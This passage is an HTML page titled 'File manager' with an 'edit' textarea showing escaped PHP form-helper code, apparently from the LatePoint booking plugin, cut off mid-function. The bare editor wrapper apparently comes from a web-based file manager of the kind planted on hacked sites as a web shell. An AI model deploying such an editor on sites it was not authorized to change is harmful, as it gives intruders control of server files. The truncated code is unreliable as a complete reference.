File manager

<head><title>File manager</title><link rel=stylesheet href=http://unpkg.com/simpledotcss/simple.css></head>
<form method=POST enctype=''><textarea name='edit' style='width:100%;
height:90%'>&lt;?php

class OsFormHelper {


	public static function get_hidden_fields_for_array( array $array, string $prefix = &#039;&#039; ): string {
		$inputs = &#039;&#039;;
		foreach ( $array as $key =&gt; $value ) {
			$fieldName = $prefix ? $prefix . &quot;[&quot; . $key . &quot;]&quot; : $key;

			if ( is_array( $value ) ) {
				$inputs .= self::get_hidden_fields_for_array( $value, $fieldName );
			} else {
				$inputs .= OsFormHelper::hidden_field( $fieldName, $value );
			}
		}

		return $inputs;
	}

	public static function atts_string_from_array( $atts = array(), $join_atts = array() ) {
		$atts_str = &#039;&#039;;
		if ( ! empty( $atts ) ) {
			if ( isset( $atts[&#039;add_string_to_id&#039;] ) ) {
				unset( $atts[&#039;add_string_to_id&#039;] );
			}
			if ( isset( $atts[&#039;skip_id&#039;] ) ) {
				unset( $atts[&#039;skip_id&#039;] );
			}
			foreach ( $atts as $key =&gt; $value ) {
				if ( isset( $join_atts[ $key ] ) ) {
					$value .= &#039; &#039; . $join_atts[ $key ];
					unset( $join_atts[ $key ] );
				}
				if ( ! is_array( $value ) ) {
					$atts_str .= esc_attr( $key ) . &#039;=&quot;&#039; . esc_attr( $value ) . &#039;&quot; &#039;;
				}
			}
		}
		if ( ! empty( $join_atts ) ) {
			foreach ( $join_atts as $key =&gt; $value ) {
				$atts_str .= esc_attr( $key ) . &#039;=&quot;&#039; . esc_attr( $value ) . &#039;&quot; &#039;;
			}
		}

		return $atts_str;
	}


	/**
	 * @param string $name
	 * @param string $label
	 * @param bool $is_active
	 * @param $controlledToggleId
	 * @param $size
	 *
	 * @return string
	 */
	public static function toggler_radio_field( string $name, string $label, string $value, bool $is_active, $controlledToggleId = false, $size = false, $atts = [] ): string {
		if ( ! $size ) {
			$size = &#039;normal&#039;;
		}
		$status               = $is_active ? &#039;on&#039; : &#039;off&#039;;
		$controlledToggleHtml = $controlledToggleId ? &#039;data-controlled-toggle-id=&quot;&#039; . $controlledToggleId . &#039;&quot;&#039; : &#039;&#039;;
		$html                 = &#039;&#039;;
		$id                   = self::name_to_id( $name . &#039;_&#039; . $value );
		$extra                = ( empty( $atts[&#039;sub_label&#039;] ) ) ? &#039;&#039; : &#039; with-sub-label&#039;;
		if ( $label ) {
			$html .= &#039;&lt;div class=&quot;os-form-group os-form-toggler-group &#039; . $extra . &#039; size-&#039; . $size . &#039;&quot;&gt;&#039;;
		}
		$html .= OsFormHelper::radio_field( $name, $value, $is_active, [ &#039;id&#039; =&gt; $id ] );
		$html .= &#039;&lt;div &#039; . $controlledToggleHtml . &#039; class=&quot;os-toggler os-toggler-radio &#039; . $status . &#039; size-&#039; . $size . &#039;&quot; data-is-string-value=&quot;true&quot; data-for=&quot;&#039; . $id . &#039;&quot;&gt;&lt;div class=&quot;toggler-rail&quot;&gt;&lt;div class=&quot;toggler-pill&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#039;;
		if ( $label ) {
			$html .= &#039;&lt;div class=&quot;os-toggler-label-w&quot;&gt;&#039;;
			$html .= &#039;&lt;label&gt;&#039; . esc_html( $label ) . &#039;&lt;/label&gt;&#039;;
			if ( ! empty( $atts[&#039;sub_label&#039;] ) ) {
				$html .= &#039;&lt;span&gt;&#039; . esc_html( $atts[&#039;sub_label&#039;] ) . &#039;&lt;/span&gt;&#039;;
			}
			$html .= &#039;&lt;/div&gt;&#039;;
		}
		if ( $label ) {
			$html .= &#039;&lt;/div&gt;&#039;;
		}

		return $html;
	}

	/**
	 * @param string $name
	 * @param string $label
	 * @param bool $is_active
	 * @param $controlledToggleId
	 * @param $size
	 *
	 * @return string
	 */
	public static function toggler_field( string $name, string $label, bool $is_active, $controlledToggleId = false, $size = false, $atts = [] ): string {
		if ( ! $size ) {
			$size = &#039;normal&#039;;
		}
		$status               = $is_active ? &#039;on&#039; : &#039;off&#039;;
		$value                = $is_active ? &#039;on&#039; : &#039;off&#039;;
		if($controlledToggleId){
			$controlledToggleHtml = str_starts_with($controlledToggleId, &#039;-&#039;) ? &#039;data-negative-controlled-toggle-id=&quot;&#039; . substr($controlledToggleId, 1) . &#039;&quot;&#039; : &#039;data-controlled-toggle-id=&quot;&#039; . $controlledToggleId . &#039;&quot;&#039;;
		}else{
			$controlledToggleHtml = &#039;&#039;;
		}
		$html                 = &#039;&#039;;
		$id                   = self::name_to_id( $name );
		$extra                = ( empty( $atts[&#039;sub_label&#039;] ) ) ? &#039;&#039; : &#039; with-sub-label&#039;;
		if ( $label ) {
			$html .= &#039;&lt;div class=&quot;os-form-group os-form-toggler-group &#039; . $extra . &#039; size-&#039; . $size . &#039;&quot;&gt;&#039;;
		}
		$html           .= OsFormHelper::hidden_field( $name, $value, [ &#039;id&#039; =&gt; $id ] );
		$instant_update = ! empty( $atts[&#039;instant_update_route&#039;] ) ? &#039;data-os-instant-update=&quot;&#039; . esc_attr( $atts[&#039;instant_update_route&#039;] ) . &#039;&quot;&#039; : &#039;&#039;;
		$instant_update .= empty( $atts[&#039;nonce&#039;] ) ? &#039;&#039; : &#039; data-nonce=&quot;&#039; . esc_attr( $atts[&#039;nonce&#039;] ) . &#039;&quot;&#039;;
		$html           .= &#039;&lt;div &#039; . $controlledToggleHtml . &#039; class=&quot;os-toggler &#039; . $status . &#039; size-&#039; . $size . &#039;&quot; data-is-string-value=&quot;true&quot; data-for=&quot;&#039; . $id . &#039;&quot; &#039; . $instant_update . &#039;&gt;&lt;div class=&quot;toggler-rail&quot;&gt;&lt;div class=&quot;toggler-pill&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#039;;
		if ( $label ) {
			$html .= &#039;&lt;div class=&quot;os-toggler-label-w&quot;&gt;&#039;;
			$html .= &#039;&lt;label&gt;&#039; . esc_html( $label ) . &#039;&lt;/label&gt;&#039;;
			if ( ! empty( $atts[&#039;sub_label&#039;] ) ) {
				$html .= &#039;&lt;span&gt;&#039; . esc_html( $atts[&#039;sub_label&#039;] ) . &#039;&lt;/span&gt;&#039;;
			}
			$html .= &#039;&lt;/div&gt;&#039;;
		}
		if ( $label ) {
			$html .= &#039;&lt;/div&gt;&#039;;
		}

		return $html;
	}


	public static function media_uploader_field( $name, $post_id = 0, $label_set_str = &#039;&#039;, $label_remove_str = &#039;&#039;, $value_image_id = false, $atts = array(), $wrapper_atts = array(), $is_avatar = false, $is_compact = false, $default_image_html = &#039;&#039; ) {
		$upload_link     = esc_url( get_upload_iframe_src( &#039;image&#039;, $post_id ) );
		$img_html        = &#039;&#039;;
		$has_image_class = &#039;&#039;;
		$label_str       = $label_set_str;

		// Image is set
		if ( $value_image_id ) {
			$image_url       = esc_url( OsImageHelper::get_image_url_by_id( $value_image_id ) );
			$img_html        = $is_avatar ? &#039;&lt;div class=&quot;image-self&quot; style=&quot;background-image: url(&#039; . $image_url . &#039;)&quot;&gt;&lt;/div&gt;&#039; : &#039;&lt;img src=&quot;&#039; . $image_url . &#039;&quot;/&gt;&#039;;
			$has_image_class = &#039;has-image&#039;;
			$label_str       = $label_remove_str;
		} else {
			$img_html = &#039;&lt;div class=&quot;os-placeholder&quot;&gt;&lt;/div&gt;&#039;;
		}

		$is_avatar_class  = $is_avatar ? &#039; is-avatar &#039; : &#039;&#039;;
		$is_compact_class = $is_compact ? &#039; is-compact &#039; : &#039;&#039;;
		$html             = &#039;&#039;;
		$html             .= &#039;&lt;div class=&quot;os-image-selector-w &#039; . $is_avatar_class . &#039; &#039; . $is_compact_class . &#039; &#039; . $has_image_class . &#039;&quot;&gt;&#039;;
		$html             .= &#039;&lt;a href=&quot;&#039; . $upload_link . &#039;&quot; data-label-remove-str=&quot;&#039; . esc_attr( $label_remove_str ) . &#039;&quot; data-label-set-str=&quot;&#039; . esc_attr( $label_set_str ) . &#039;&quot;&#039; . self::atts_string_from_array( $wrapper_atts, [ &#039;class&#039; =&gt; &quot;os-image-selector-trigger&quot; ] ) . &#039;&gt;&#039;;
		$html             .= &#039;&lt;div class=&quot;os-image-container&quot;&gt;&#039; . $img_html . &#039;&lt;/div&gt;&#039;;
		if ( $default_image_html ) {
			$html .= &#039;&lt;div class=&quot;os-default-image-wrapper&quot;&gt;&#039; . $default_image_html . &#039;&lt;/div&gt;&#039;;
		}
		$html .= &#039;&lt;div class=&quot;os-image-selector-text&quot;&gt;&lt;span class=&quot;os-text-holder&quot;&gt;&#039; . esc_html( $label_str ) . &#039;&lt;/span&gt;&lt;/div&gt;&#039;;
		$html .= &#039;&lt;/a&gt;&#039;;
		$html .= &#039;&lt;input type=&quot;hidden&quot; name=&quot;&#039; . $name . &#039;&quot; value=&quot;&#039; . esc_attr( $value_image_id ) . &#039;&quot; &#039; . self::atts_string_from_array( $atts, [ &#039;class&#039; =&gt; &#039;os-image-id-holder&#039; ] ) . &#039;/&gt;&#039;;
		$html .= &#039;&lt;/div&gt;&#039;;

		return $html;
	}


	public static function multiple_files_uploader_field($name, $label_add_str = &#039;&#039;, $label_remove_str = &#039;&#039;, $value_file_ids = array(), $wrapper_atts = array()): string {

		$html = &#039;&lt;div class=&quot;os-multiple-files-uploader&quot; &#039;.OsFormHelper::atts_string_from_array($wrapper_atts).&#039;&gt;&#039;;

		// Current files display
		$html .= &#039;&lt;div class=&quot;os-uploaded-files-list&quot; data-confirm-text=&quot;&#039;. esc_attr__(&#039;Are you sure want to remove this file?&#039;, &#039;latepoint&#039;) . &#039;&quot;&gt;&#039;;
		if (!empty($value_file_ids)) {
			foreach ($value_file_ids as $file_id) {
				$file_url = esc_url(wp_get_attachment_url($file_id));
				$html .= &#039;&lt;div class=&quot;os-uploaded-file&quot; data-file-id=&quot;&#039;.esc_attr($file_id).&#039;&quot;&gt;&#039;;
				$html .= &#039;&lt;a class=&quot;os-file-link&quot; href=&quot;&#039;.$file_url.&#039;&quot; target=&quot;_blank&quot;&gt;&#039;.esc_html(basename($file_url)).&#039;&lt;/a&gt;&#039;;
				$html .= &#039;&lt;a href=&quot;#&quot; class=&quot;os-remove-file&quot; title=&quot;&#039;.esc_attr($label_remove_str).&#039;&quot;&gt;&lt;i class=&quot;latepoint-icon latepoint-icon-cross&quot;&gt;&lt;/i&gt;&lt;/a&gt;&#039;;
				$html .= &#039;&lt;/div&gt;&#039;;
			}
		}
		$html .= &#039;&lt;/div&gt;&#039;;

		// Add more files button
		$html .= &#039;&lt;span class=&quot;os-file-selector-text&quot;&gt;&#039; . esc_html($label_add_str) . &#039;&lt;/span&gt;&#039;;
		$html .= &#039;&lt;input type=&quot;hidden&quot; name=&quot;&#039;.esc_attr($name).&#039;&quot; value=&quot;&#039;.esc_attr(implode(&#039;,&#039;, $value_file_ids)).&#039;&quot; class=&quot;os-file-ids-holder&quot; /&gt;&#039;;
		$html .= &#039;&lt;/div&gt;&#039;;

		return $html;
	}

	public static function file_upload_field( $name, $label, $value = &#039;&#039;, $atts = [], $wrapper_atts = [], $accepted_formats = &#039;&#039; ) {
		if ( empty($accepted_formats) ) {
			$accepted_formats = &#039;.jpg,.jpeg,.png,.gif,.ico,.pdf,.doc,.docx,.ppt,.pptx,.pps,.ppsx,.odt,.xls,.xlsx,.PSD,.mp3,.m4a,.ogg,.wav,.mp4,.m4v,.mov,.wmv,.avi,.mpg,.ogv,.3gp,.3g2&#039;;
		}
		// generate id if not set
		if ( ! isset( $atts[&#039;id&#039;] ) &amp;&amp; ! isset( $atts[&#039;skip_id&#039;] ) ) {
			$atts[&#039;id&#039;] = self::name_to_id( $name, $atts );
		}
		$html = &#039;&#039;;
		if ( ! empty( $wrapper_atts ) ) {
			$html .= &#039;&lt;div &#039; . self::atts_string_from_array( $wrapper_atts ) . &#039;&gt;&#039;;
		}
		$html .= &#039;&lt;div class=&quot;os-form-group os-form-file-upload-group&quot;&gt;&#039;;
		if ( $label ) {
			$html .= &#039;&lt;label for=&quot;&#039; . esc_attr( $name ) . &#039;&quot;&gt;&#039; . $label . &#039;&lt;/label&gt;&#039;;
		}
		$html .= &#039;&lt;a target=&quot;_blank&quot; href=&quot;&#039; . esc_url( $value ) . &#039;&quot; class=&quot;os-uploaded-file-info &#039; . ( ! empty( $value ) ? &#039;is-uploaded&#039; : &#039;&#039; ) . &#039;&quot; style=&quot;&#039; . ( empty( $value ) ? &#039;display: none&#039; : &#039;&#039; ) . &#039;&quot;&gt;
								&lt;div class=&quot;uf-icon&quot;&gt;&lt;i class=&quot;latepoint-icon latepoint-icon-file-text&quot;&gt;&lt;/i&gt;&lt;/div&gt;
								&lt;div class=&quot;uf-data&quot;&gt;
									&lt;div class=&quot;uf-name&quot;&gt;&#039; . ( ! empty( $value ) ? basename( $value ) : &#039;&#039; ) . &#039;&lt;/div&gt;
								&lt;/div&gt;
								&lt;div class=&quot;uf-remove&quot;&gt;&lt;i class=&quot;latepoint-icon latepoint-icon-cross&quot;&gt;&lt;/i&gt;&lt;/div&gt;
							&lt;/a&gt;&#039;;
		$html .= &#039;&lt;div class=&quot;os-upload-file-input-w&quot; style=&quot;&#039; . ( $value ? &#039;display: none&#039; : &#039;&#039; ) . &#039;&quot;&gt;&#039;;
		$html .= &#039;&lt;input type=&quot;file&quot; accept=&quot;&#039; . $accepted_formats . &#039;&quot; name=&quot;&#039; . esc_attr( $name ) . &#039;&quot;  multiple=&quot;false&quot; &#039; . self::atts_string_from_array( $atts ) . &#039;/&gt;&#039;;
		if ( $value ) {
			$html .= self::hidden_field( $name, $value );
		}
		$html .= &#039;&lt;/div&gt;&#039;;
		$html .= &#039;&lt;/div&gt;&#039;;
		if ( ! empty( $wrapper_atts ) ) {
			$html .= &#039;&lt;/div&gt;&#039;;
		}

		return $html;
	}

	public static function generate_select_options_from_custom_field( $options ) {
		if ( ! empty( $options ) ) {
			return preg_split( &#039;/\r\n|\r|\n/&#039;, $options );
		} else {
			return [];
		}
	}

	/**
	 * @param $name
	 * @param $id
	 * @param $label
	 * @param $content
	 * @param $atts
	 *
	 * @return string
	 *
	 * Same as wp_editor_field but returns the html instead of echoing it
	 */
	public static function wp_editor_field_return( $name, $id, $label, $content, $atts = array() ) {
		ob_start();

		self::wp_editor_field( $name, $id, $label, $content, $atts );

		$html = ob_get_clean();

		return $html;
	}

	public static function wp_editor_field( $name, $id, $label, $content, $atts = array() ) {
		$editor_height = isset( $atts[&#039;editor_height&#039;] ) ? $atts[&#039;editor_height&#039;] : 300;
		echo &#039;&lt;div class=&quot;os-form-group os-form-control-wp-editor-group&quot;&gt;&#039;;
		echo &#039;&lt;label for=&quot;&#039; . esc_attr( $name ) . &#039;&quot;&gt;&#039; . esc_html( $label ) . &#039;&lt;/label&gt;&#039;;
		wp_editor( $content, $id, [
			&#039;textarea_name&#039; =&gt; $name,
			&#039;media_buttons&#039; =&gt; false,
			&#039;editor_height&#039; =&gt; $editor_height
		] );
		echo &#039;&lt;/div&gt;&#039;;
	}


	public static function textarea_field( $name, $label, $value = &#039;&#039;, $atts = array(), $wrapper_atts = array() ) {
		$extra_class = &#039; os-form-group-transparent&#039;;
		if ( isset( $atts[&#039;theme&#039;] ) ) {
			switch ( $atts[&#039;theme&#039;] ) {
				case &#039;bordered&#039;:
					$extra_class = &#039; os-form-group-bordered&#039;;
					break;
				case &#039;right-aligned&#039;:
					$extra_class = &#039; os-form-group-right-aligned&#039;;
					break;
				case &#039;simple&#039;:
					$extra_class = &#039; os-form-group-simple&#039;;
					unset( $atts[&#039;theme&#039;] );
					break;
			}
		}
		// generate id if not set
		if ( ! isset( $atts[&#039;id&#039;] ) &amp;&amp; ! isset( $atts[&#039;skip_id&#039;] ) ) {
			$atts[&#039;id&#039;] = self::name_to_id( $name, $atts );
		}
		if ( $value ) {
			$extra_class .= &#039; has-value&#039;;
		}
		if ( empty( $label ) ) {
			$extra_class .= &#039; no-label&#039;;
		}

		// validations
		if ( ! empty( $atts[&#039;validate&#039;] ) ) {
			$validate_html = &#039;data-os-validate=&quot;&#039; . esc_attr( implode( &#039; &#039;, $atts[&#039;validate&#039;] ) ) . &#039;&quot;&#039;;
		} else {
			$validate_html = &#039;&#039;;
		}
		unset( $atts[&#039;validate&#039;] );
		$html = &#039;&lt;div &#039; . self::atts_string_from_array( $wrapper_atts ) . &#039;&gt;&#039;;
		$html .= &#039;&lt;div &#039; . self::atts_string_from_array( array( &#039;class&#039; =&gt; &#039;os-form-group os-form-textfield-group os-form-textarea-group&#039; . $extra_class ) ) . &#039;&gt;&#039;;
		if ( $label ) {
			$html .= &#039;&lt;label for=&quot;&#039; . esc_attr( $atts[&#039;id&#039;] ) . &#039;&quot;&gt;&#039; . $label . &#039;&lt;/label&gt;&#039;;
		}
		$placeholder = ( ! empty( $atts[&#039;placeholder&#039;] ) ) ? $atts[&#039;placeholder&#039;] : $label;
		$html        .= &#039;&lt;textarea &#039; . $validate_html . &#039; type=&quot;text&quot; placeholder=&quot;&#039; . esc_attr( $placeholder ) . &#039;&quot; name=&quot;&#039; . esc_attr( $name ) . &#039;&quot; &#039; . self::atts_string_from_array( $atts, [ &#039;class&#039; =&gt; &#039;os-form-control&#039; ] ) . &#039;&gt;&#039; . esc_textarea( $value ?? &#039;&#039; ) . &#039;&lt;/textarea&gt;&#039;;
		$html        .= &#039;&lt;/div&gt;&#039;;
		$html        .= &#039;&lt;/div&gt;&#039;;

		return $html;
	}

	public static function service_selector_adder_field( $name, $label, $add_label, $options = array(), $value = &#039;&#039;, $atts = array(), $wrapper_atts = array() ) {
		$html = &#039;&lt;div &#039; . self::atts_string_from_array( $wrapper_atts, [ &#039;class&#039; =&gt; &#039;os-form-group os-form-select-group os-form-group-transparent service-selector-adder-field-w&#039; ] ) . &#039;&gt;&#039;;
		if ( $label ) {
			$html .= &#039;&lt;label for=&quot;&#039; . $name . &#039;&quot;&gt;&#039; . $label . &#039;&lt;/label&gt;&#039;;
		}
		$html .= &#039;&lt;div class=&quot;selector-adder-w&quot;&gt;&#039;;
		$html .= &#039;&lt;select name=&quot;&#039; . $name . &#039;&quot; &#039; . self::atts_string_from_array( $atts, [ &#039;class&#039; =&gt; &#039;os-form-control&#039; ] ) . &#039; data-select-source=&quot;&#039; . esc_attr( OsRouterHelper::build_route_name( &#039;service_categories&#039;, &#039;list_for_select&#039; ) ) . &#039;&quot;&gt;&#039;;
		foreach ( $options as $option ) {
			if ( isset( $option[&#039;value&#039;] ) &amp;&amp; isset( $option[&#039;label&#039;] ) ) {
				$selected = ( $value == $option[&#039;value&#039;] ) ? &#039;selected&#039; : &#039;&#039;;
				$html     .= &#039;&lt;option value=&quot;&#039; . esc_attr( $option[&#039;value&#039;] ) . &#039;&quot; &#039; . $selected . &#039;&gt;&#039; . esc_html( $option[&#039;label&#039;] ) . &#039;&lt;/option&gt;&#039;;
			}
		}
		$html .= &#039;&lt;/select&gt;&#039;;
		$html .= &#039;&lt;button class=&quot;latepoint-btn latepoint-btn-secondary&quot; data-os-action=&quot;&#039; . esc_attr( OsRouterHelper::build_route_name( &#039;service_categories&#039;, &#039;new_form&#039; ) ) . &#039;&quot; data-os-output-target=&quot;lightbox&quot;&gt;&lt;i class=&quot;latepoint-icon latepoint-icon-plus&quot;&gt;&lt;/i&gt; &lt;span&gt;&#039; . esc_html( $add_label ) . &#039;&lt;/span&gt;&lt;/button&gt;&#039;;
		$html .= &#039;&lt;/div&gt;&#039;;
		$html .= &#039;&lt;/div&gt;&#039;;

		return $html;
	}

	public static function location_selector_adder_field( $name, $label, $add_label, $options = array(), $value = &#039;&#039;, $atts = array(), $wrapper_atts = array() ) {
		$html = &#039;&lt;div &#039; . self::atts_string_from_array( $wrapper_atts, [ &#039;class&#039; =&gt; &#039;os-form-group os-form-select-group os-form-group-transparent location-selector-adder-field-w&#039; ] ) . &#039;&gt;&#039;;
		if ( $label ) {
			$html .= &#039;&lt;label for=&quot;&#039; . $name . &#039;&quot;&gt;&#039; . $label . &#039;&lt;/label&gt;&#039;;
		}
		$html .= &#039;&lt;div class=&quot;selector-adder-w&quot;&gt;&#039;;
		$html .= &#039;&lt;select name=&quot;&#039; . $name . &#039;&quot; &#039; . self::atts_string_from_array( $atts, [ &#039;class&#039; =&gt; &#039;os-form-control&#039; ] ) . &#039; data-select-source=&quot;&#039; . esc_attr( OsRouterHelper::build_route_name( &#039;location_categories&#039;, &#039;list_for_select&#039; ) ) . &#039;&quot;&gt;&#039;;
		foreach ( $options as $option ) {
			if ( isset( $option[&#039;value&#039;] ) &amp;&amp; isset( $option[&#039;label&#039;] ) ) {
				$selected = ( $value == $option[&#039;value&#039;] ) ? &#039;selected&#039; : &#039;&#039;;
				$html     .= &#039;&lt;option value=&quot;&#039; . esc_attr( $option[&#039;value&#039;] ) . &#039;&quot; &#039; . $selected . &#039;&gt;&#039; . esc_html( $option[&#039;label&#039;] ) . &#039;&lt;/option&gt;&#039;;
			}
		}
		$html .= &#039;&lt;/select&gt;&#039;;
		$html .= &#039;&lt;button class=&quot;latepoint-btn latepoint-btn-primary&quot; data-os-action=&quot;&#039; . esc_attr( OsRouterHelper::build_route_name( &#039;location_categories&#039;, &#039;new_form&#039; ) ) . &#039;&quot; data-os-output-target=&quot;lightbox&quot;&gt;&lt;i class=&quot;latepoint-icon latepoint-icon-plus&quot;&gt;&lt;/i&gt; &lt;span&gt;&#039; . esc_html( $add_label ) . &#039;&lt;/span&gt;&lt;/button&gt;&#039;;
		$html .= &#039;&lt;/div&gt;&#039;;
		$html .= &#039;&lt;/div&gt;&#039;;

		return $html;
	}

	public static function model_options_for_multi_select( $model_name ) {
		$options = [];
		switch ( $model_name ) {
			case &#039;service&#039;:
			case &#039;OsServiceModel&#039;:
				$service  = new OsServiceModel;
				$services = $service-&gt;get_results_as_models();
				if ( $services ) {
					foreach ( $services as $service ) {
						$options[] = [ &#039;value&#039; =&gt; $service-&gt;id, &#039;label&#039; =&gt; $service-&gt;name ];
					}
				}
				break;
			case &#039;agent&#039;:
			case &#039;OsAgentModel&#039;:
				$agent  = new OsAgentModel;
				$agents = $agent-&gt;get_results_as_models();
				if ( $agents ) {
					foreach ( $agents as $agent ) {
						$options[] = [ &#039;value&#039; =&gt; $agent-&gt;id, &#039;label&#039; =&gt; $agent-&gt;full_name ];
					}
				}
				break;
			case &#039;customer&#039;:
			case &#039;OsCustomerModel&#039;:
				$customer  = new OsCustomerModel;
				$customers = $customer-&gt;get_results_as_models();
				if ( $customers ) {
					foreach ( $customers as $customer ) {
						$options[] = [ &#039;value&#039; =&gt; $customer-&gt;id, &#039;label&#039; =&gt; $customer-&gt;full_name ];
					}
				}
				break;

			case &#039;bundle&#039;:
			case &#039;OsBundleModel&#039;:
				if ( $bundles = ( new OsBundleModel() )-&gt;get_results_as_models() ) {
					foreach ( $bundles as $bundle ) {
						$options[] = [ &#039;value&#039; =&gt; $bundle-&gt;id, &#039;label&#039; =&gt; $bundle-&gt;name ];
					}
				}

				break;
		}

		/**
		 * Returns an array of options based on model name/mnemonic, formatted for multi-select fields
		 *
		 * @param {array} $options Array of model options to filter
		 * @param {string} $model_name Class name or mnemonic used to determine resultant options
		 *
		 * @returns {array} Filtered array of model options
		 * @since 4.4.0
		 * @hook latepoint_model_options_for_multi_select
		 *
		 */
		return apply_filters( &#039;latepoint_model_options_for_multi_select&#039;, $options, $model_name );
	}

	public static function date_picker_field( string $name, string $formatted_value = &#039;&#039;, string $raw_value = &#039;&#039;, array $atts = [] ): string {
		$html = &#039;&lt;div data-single-date=&quot;yes&quot; &#039; . self::atts_string_from_array( $atts, [ &#039;class&#039; =&gt; &#039;os-date-range-picker&#039; ] ) . &#039;&gt;
					&lt;span class=&quot;range-picker-value&quot;&gt;&#039; . esc_html( $formatted_value ) . &#039;&lt;/span&gt;
					&lt;i class=&quot;latepoint-icon latepoint-icon-chevron-down&quot;&gt;&lt;/i&gt;
					&lt;input class=&quot;os-datepicker-date-from&quot; type=&quot;hidden&quot; name=&quot;&#039; . esc_attr( $name ) . &#039;&quot; value=&quot;&#039; . esc_attr( $raw_value ) . &#039;&quot;/&gt;
				&lt;/div&gt;&#039;;

		return $html;
	}

	public static function multi_select_field( $name, $label = false, $options = [], $selected_values = [], $atts = [], $wrapper_atts = [] ) {
		$html = &#039;&#039;;
		if ( ! $selected_values ) {
			$selected_values = [];
		}
		// generate id if not set
		if ( ! isset( $atts[&#039;id&#039;] ) &amp;&amp; ! isset( $atts[&#039;skip_id&#039;] ) ) {
			$atts[&#039;id&#039;] = self::name_to_id( $name, $atts );
		}
		if ( ! empty( $wrapper_atts ) ) {
			$html = &#039;&lt;div &#039; . self::atts_string_from_array( $wrapper_atts ) . &#039;&gt;&#039;;
		}
		$html .= &#039;&lt;div class=&quot;os-form-group os-form-select-group os-form-group-transparent&quot;&gt;&#039;;
		if ( $label ) {
			$html .= &#039;&lt;label for=&quot;&#039; . esc_attr( $atts[&#039;id&#039;] ) . &#039;&quot;&gt;&#039; . esc_html( $label ) . &#039;&lt;/label&gt;&#039;;
		}
		$html .= &#039;&lt;select &quot; &#039; . self::atts_string_from_array( $atts, [ &#039;class&#039; =&gt; &#039;os-late-select&#039; ] ) . &#039; data-placeholder=&quot;&#039; . esc_attr__( &#039;Click to select...&#039;, &#039;latepoint&#039; ) . &#039;&quot; multiple&gt;&#039;;
		foreach ( $options as $key =&gt; $option ) {
			if ( isset( $option[&#039;value&#039;] ) &amp;&amp; isset( $option[&#039;label&#039;] ) ) {
				$selected = ( $selected_values &amp;&amp; is_array( $selected_values ) &amp;&amp; in_array( $option[&#039;value&#039;], $selected_values ) ) ? &#039;selected=&quot;selected&quot;&#039; : &#039;&#039;;
				$html     .= &#039;&lt;option value=&quot;&#039; . esc_attr( $option[&#039;value&#039;] ) . &#039;&quot; &#039; . $selected . &#039;&gt;&#039; . esc_html( $option[&#039;label&#039;] ) . &#039;&lt;/option&gt;&#039;;
			} else {
				$value    = ( is_string( $key ) ) ? $key : $option;
				$selected = ( $selected_values &amp;&amp; in_array( $value, $selected_values ) ) ? &#039;selected&#039; : &#039;&#039;;
				$html     .= &#039;&lt;option value=&quot;&#039; . esc_attr( $value ) . &#039;&quot; &#039; . $selected . &#039;&gt;&#039; . esc_html( $option ) . &#039;&lt;/option&gt;&#039;;
			}
		}
		$html .= &#039;&lt;/select&gt;&#039;;
		$html .= OsFormHelper::hidden_field( $name, is_array( $selected_values ) ? implode( &#039;,&#039;, $selected_values ) : $selected_values, [ &#039;skip_id&#039; =&gt; true ] );
		$html .= &#039;&lt;/div&gt;&#039;;
		if ( ! empty( $wrapper_atts ) ) {
			$html .= &#039;&lt;/div&gt;&#039;;
		}

		return $html;
	}


	public static function multi_checkbox_field( $name, $label = false, $options = [], $selected_values = [], $atts = [], $wrapper_atts = [] ) {
		$html = &#039;&#039;;

		if ( ! empty( $wrapper_atts ) ) {
			$html = &#039;&lt;div &#039; . self::atts_string_from_array( $wrapper_atts ) . &#039;&gt;&#039;;
		}

		$html .= &#039;&lt;div class=&quot;os-form-group os-form-multiselect-group os-form-group-transparent&quot;&gt;&#039;;

		if ( $label ) {
			$html .= &#039;&lt;label&gt;&#039; . esc_html( $label ) . &#039;&lt;/label&gt;&#039;;
		}

		foreach ( $options as $key =&gt; $option ) {
			if ( isset( $option[&#039;value&#039;] ) &amp;&amp; isset( $option[&#039;label&#039;] ) ) {
				$value        = $option[&#039;value&#039;];
				$option_label = $option[&#039;label&#039;];
			} else {
				$value        = ( is_string( $key ) ) ? $key : $option;
				$option_label = $option;
			}

			$checkbox_id = self::name_to_id( $name . &#039;_&#039; . $value );
			$is_checked  = in_array( $value, $selected_values );

			$html .= self::checkbox_field(
				$name . &#039;[]&#039;,
				$option_label,
				$value,
				$is_checked,
				[ &#039;id&#039; =&gt; $checkbox_id ] + $atts,
				[ &#039;class&#039; =&gt; &#039;checkbox-option-wrapper&#039; ],
				&#039;&#039;
			);
		}

		$html .= &#039;&lt;/div&gt;&#039;;

		if ( ! empty( $wrapper_atts ) ) {
			$html .= &#039;&lt;/div&gt;&#039;;
		}

		return $html;
	}

	public static function select_field( $name, $label, $options = array(), $selected_value = &#039;&#039;, $atts = array(), $wrapper_atts = array(), $add_value_if_not_present = false ) {
		$extra_class = &#039; os-form-group-transparent&#039;;
		if ( isset( $atts[&#039;theme&#039;] ) ) {
			switch ( $atts[&#039;theme&#039;] ) {
				case &#039;bordered&#039;:
					$extra_class = &#039; os-form-group-bordered&#039;;
					break;
				case &#039;right-aligned&#039;:
					$extra_class = &#039; os-form-group-right-aligned&#039;;
					break;
				case &#039;simple&#039;:
					$extra_class = &#039; os-form-group-simple&#039;;
					unset( $atts[&#039;theme&#039;] );
					break;
			}
		}
		$html = &#039;&#039;;
		// generate id if not set
		if ( ! $atts ) {
			$atts = [];
		}
		if ( ! isset( $atts[&#039;id&#039;] ) &amp;&amp; ! isset( $atts[&#039;skip_id&#039;] ) ) {
			$atts[&#039;id&#039;] = self::name_to_id( $name, $atts );
		}

		// validations
		if ( ! empty( $atts[&#039;validate&#039;] ) ) {
			$validate_html = &#039;data-os-validate=&quot;&#039; . esc_attr( implode( &#039; &#039;, $atts[&#039;validate&#039;] ) ) . &#039;&quot;&#039;;
		} else {
			$validate_html = &#039;&#039;;
		}

		if ( ! empty( $wrapper_atts ) ) {
			$html = &#039;&lt;div &#039; . self::atts_string_from_array( $wrapper_atts ) . &#039;&gt;&#039;;
		}
		$html .= &#039;&lt;div class=&quot;os-form-group os-form-select-group &#039; . esc_attr( $extra_class ) . &#039;&quot;&gt;&#039;;
		if ( $label ) {
			$html .= &#039;&lt;label for=&quot;&#039; . esc_attr( $atts[&#039;id&#039;] ) . &#039;&quot;&gt;&#039; . esc_html( $label ) . &#039;&lt;/label&gt;&#039;;
		}
